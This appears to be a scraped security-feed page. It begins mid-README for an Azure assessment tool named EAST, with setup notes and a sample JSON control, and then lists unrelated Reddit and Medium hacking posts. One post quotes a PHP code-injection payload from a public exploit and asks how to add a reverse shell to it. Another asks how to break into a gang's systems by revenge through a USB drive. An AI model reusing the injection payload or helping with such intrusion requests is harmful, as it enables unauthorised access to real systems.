ts at the moment, apart from certain manual checks, that are run after changes to main.js and various more advanced controls.
* The control descriptions at this stage are not the final product, so giving feedback on them, while appreciated, is not the focus of the tooling at this stage
* As the name implies, we use it as tool to evaluate environments. It is not meant to be run as unmonitored for the time being, and should not be run in any internet exposed service that accepts incoming connections.
* Documentation could be described as incomplete for the time being
* EAST is mostly focused on PaaS resource, as most of our Azure assessments focus on this resource type
*
No Input sanitization is performed on launch params, as it is always assumed, that the input of these parameters are controlled. That being said, the tool uses extensively exec()- While I have not reviewed all paths, I believe that achieving shellcode execution is trivial. This tool does not assume hostile input, thus the recommendation is that you don't paste launch arguments into command line without reviewing them first. Tool operationDepedenciesTo reduce amount of code we use the following depedencies for operation and aesthetics are used (Kudos to the maintainers of these fantastic packages)
package aesthetics operation license axios
✅ MIT yargs
✅ MIT jsonwebtoken
✅ MIT chalk
✅ MIT js-beautify ✅ MIT
Other depedencies for running the tool: If you are planning to run this in Azure Cloud Shell you don't need to install Azure CLI:

* This tool does not include or distribute Microsoft Azure CLI, but rather uses it when it has been installed on the source system (Such as Azure Cloud Shell, which is primary platform for running EAST)

Azure Cloud Shell (BASH) or applicable Linux Distro / WSL
Requirement description Install
✅
AZ CLI AZCLI USE curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash✅
Node.js runtime 14 Node.js runtime for EAST install with NVM ControlsEAST provides three categories of controls: Basic, Advanced, and Composite

The machine readable control looks like this, regardless of the type (Basic/advanced/composite): {
"name": "fn-sql-2079",
"resource": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/resourcegroups/rg-fn-2079/providers/microsoft.web/sites/fn-sql-2079",
"controlId": "managedIdentity",
"isHealthy": true,
"id": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/resourcegroups/rg-fn-2079/providers/microsoft.web/sites/fn-sql-2079",
"Description": "\r\n Ensure The Service calls downstream resources with managed identity",
"metadata": {
"principalId": {
"type": "SystemAssigned",
"tenantId": "033794f5-7c9d-4e98-923d-7b49114b7ac3",
"principalId": "cb073f1e-03bc-440e-874d-5ed3ce6df7f8"
},
"roles": [{
"role": [{
"properties": {
"roleDefinitionId": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c",
"principalId": "cb073f1e-03b c-440e-874d-5ed3ce6df7f8",
"scope": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/resourceGroups/RG-FN-2079",
"createdOn": "2021-12-27T06:03:09.7052113Z",
"updatedOn": "2021-12-27T06:03:09.7052113Z",
"createdBy": "4257db31-3f22-4c0f-bd57-26cbbd4f5851",
"updatedBy": "4257db31-3f22-4c0f-bd57-26cbbd4f5851"
},
"id": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/resourceGroups/RG-FN-2079/providers/Microsoft.Authorization/roleAssignments/ada69f21-790e-4386-9f47-c9b8a8c15674",
"type": "Microsoft.Authorization/roleAssignments",
"name": "ada69f21-790e-4386-9f47-c9b8a8c15674",
"RoleName": "Contributor"
}]
}]
},
"category": "Access"
},BasicBasic controls include checks on the initial ARM object for simple "toggle on/off"- boolean settings of said service.

Example: Azure Container Registry adminUser acr_adminUser https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6hStnaw4gkMJDNdqzzxs1kxMx8_6-FEIZU07X3tcHwbiTJ8wddN91_9b1LFq-fF4rLr[...]

hacking: security in practice
Is it possible for someone to breach my reddit acc and pinpoint my location?

This sounds so dumb I know but I am a little paranoid that someone might get my location from my reddit acc since it is linked with a gmail acc.

On another note is it possible(hack into my acc and get personal information) on any other social media platforms?

submitted by /u/AstralMystogan
[link] [comments]

hacking: security in practice
Revenge on local gang

Long story short I want revenge on this gang for something they did to some family members they asked me to put some videos on a usb for them how can I use this to my advantage and gain access to their shit undetected with the USB I have Kali Linux but haven't used it yet Need help please

submitted by /u/Timely_Purpose_842
[link] [comments]

hacking: security in practice
I'm trying to turn my TP-link archer c6 v2 into a wifi pineapple that runs monitor mode and i can't find a tutorial.

I have done some research but i haven't been able to find any conclusive data regarding this, i figured installing open wrt might be a start but I'm still stuck as of now some guidance would be appreciated. THANKS!

submitted by /u/BlacksmithLucky4855
[link] [comments]

hacking: security in practice
Ip adress

I got the Ip of some troll online and I am wondering if there is something more I can do with it apart from knowing his location?

submitted by /u/ElderberryInformal66
[link] [comments]

hacking: security in practice
How do I add a PHP script to a python exploit?

I'm trying to use [this exploit](https://www.exploit-db.com/exploits/44374) on a box from vulnhub, but the part I can't figure out is in the exploit where it says:

#the payload will be injected into the configuration file via this code

#' define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .

#so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'

payload += 'system("ls");' # this is where you enter you PHP payload

payload += '/*'

data['DB_DATABASE'] = payload

So how do I actually enter the PHP payload? I'm trying to use the PHP reverse shell from Pentest Monkey that comes with Kali. I tried copy pasting and

payload += 'system("php /path/to/php_reverse_shell.php");'

Thanks guys.

submitted by /u/Lazy-Reserve-131
[link] [comments]

Does anyone know if there are online distributions/virtual machines for pentesting that we can use?
https://www.reddit.com/r/Pentesting/comments/10th45n/does_anyone_know_if_there_are_online/

<!-- SC_OFF -->Are there alternatives to using an installed version of Kali Linux? I am asking since it seems convenient to have a virtual machine than having to install Kali for tools. <!-- SC_ON --> submitted by /u/Beginning_java (https://www.reddit.com/user/Beginning_java)
[link] (https://www.reddit.com/r/Pentesting/comments/10th45n/does_anyone_know_if_there_are_online/) [comments] (https://www.reddit.com/r/Pentesting/comments/10th45n/does_anyone_know_if_there_are_online/)

Hacking on Medium
What is ethical hacking?

Ethical hacking, also known as "white hat" hacking, refers to the practice of using hacking techniques for the purpose of identifying and…

Continue reading on Medium »

Hacking on Medium
How i used a RasberryPI to hack my Company!

https://cdn-images-1.medium.com/max/2600/1*r7DvXYBP-Y1nmv_Hh9lZew.jpeg
-As a 17 year old beginner.

Continue reading on Medium »

Hacking on Medium
Pickle Rick ctf -walkthrough no reverse shell

https://cdn-images-1.medium.com/max/1194/1*uXsneJD2y8PzLty3N5xATg.png
This is my first ctf write-up

Continue reading on Medium »

Hacking on Medium
Day 21 — c4ptur3-th3-fl4g • TryHackMe

https://cdn-images-1.medium.com/max/600/0*TeGxuL_ERcfei_1k.gif
Task 1 Translation & Shifting

Continue reading on Medium »